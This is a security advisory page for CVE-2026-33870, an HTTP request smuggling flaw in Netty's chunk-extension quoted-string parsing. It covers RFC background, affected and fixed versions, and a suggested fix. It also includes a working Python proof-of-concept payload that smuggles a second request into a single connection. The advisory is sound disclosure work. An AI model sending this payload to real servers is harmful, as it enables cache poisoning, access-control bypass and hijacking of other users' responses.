GHSA-pwqr-wmgm-9rr8

Source

https://github.com/advisories/GHSA-pwqr-wmgm-9rr8

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-pwqr-wmgm-9rr8/GHSA-pwqr-wmgm-9rr8.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-pwqr-wmgm-9rr8

Aliases

CVE-2026-33870

Downstream

CGA (768)

MINI (76)

Published

2026-03-26T18:48:55Z

Modified

2026-07-17T21:09:56Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N CVSS Calculator

Summary

Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Details

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Parser	Request 1	Request 2
Netty (vulnerable)	POST / body="X"	GET /smuggled (SMUGGLED)
RFC-compliant parser	400 Bad Request	(none — malformed request rejected)

Impact

Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
Cache Poisoning: Smuggled responses may poison shared caches.
Access Control Bypass: Smuggled requests can circumvent frontend security controls.
Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

Start the minimal proof-of-concept environment using the provided Docker configuration.
Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

Database specific

{
    "cwe_ids": [
        "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:48:55Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
}

References

Affected packages

Maven / io.netty:netty-codec-http

Package

Name: io.netty:netty-codec-http; View open source insights on deps.dev
Purl: pkg:maven/io.netty/netty-codec-http

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

4.1.132.Final

Affected versions

4.*

4.0.0.Alpha1

4.0.0.Alpha2

4.0.0.Alpha3

4.0.0.Alpha4

4.0.0.Alpha5

4.0.0.Alpha6

4.0.0.Alpha7

4.0.0.Alpha8

4.0.0.Beta1

4.0.0.Beta2

4.0.0.Beta3

4.0.0.CR1

4.0.0.CR2

4.0.0.CR3

4.0.0.CR4

4.0.0.CR5

4.0.0.CR6

4.0.0.CR7

4.0.0.CR8

4.0.0.CR9

4.0.0.Final

4.0.1.Final

4.0.2.Final

4.0.3.Final

4.0.4.Final

4.0.5.Final

4.0.6.Final

4.0.7.Final

4.0.8.Final

4.0.9.Final

4.0.10.Final

4.0.11.Final

4.0.12.Final

4.0.13.Final

4.0.14.Beta1

4.0.14.Final

4.0.15.Final

4.0.16.Final

4.0.17.Final

4.0.18.Final

4.0.19.Final

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4.0.51.Final

4.0.52.Final

4.0.53.Final

4.0.54.Final

4.0.55.Final

4.0.56.Final

4.1.0.Beta1

4.1.0.Beta2

4.1.0.Beta3

4.1.0.Beta4

4.1.0.Beta5

4.1.0.Beta6

4.1.0.Beta7

4.1.0.Beta8

4.1.0.CR1

4.1.0.CR2

4.1.0.CR3

4.1.0.CR4

4.1.0.CR5

4.1.0.CR6

4.1.0.CR7

4.1.0.Final

4.1.1.Final

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4.1.3.Final

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4.1.130.Final

4.1.131.Final

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-pwqr-wmgm-9rr8/GHSA-pwqr-wmgm-9rr8.json"

Maven / io.netty:netty-codec-http

Package

Name: io.netty:netty-codec-http; View open source insights on deps.dev
Purl: pkg:maven/io.netty/netty-codec-http

Affected ranges

Type: ECOSYSTEM
Events: Introduced

4.2.0.Alpha1

Fixed

4.2.10.Final

Affected versions

4.*

4.2.0.Alpha1

4.2.0.Alpha2

4.2.0.Alpha3

4.2.0.Alpha4

4.2.0.Alpha5

4.2.0.Beta1

4.2.0.RC1

4.2.0.RC2

4.2.0.RC3

4.2.0.RC4

4.2.0.Final

4.2.1.Final

4.2.2.Final

4.2.3.Final

4.2.4.Final

4.2.5.Final

4.2.6.Final

4.2.7.Final

4.2.8.Final

4.2.9.Final

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-pwqr-wmgm-9rr8/GHSA-pwqr-wmgm-9rr8.json"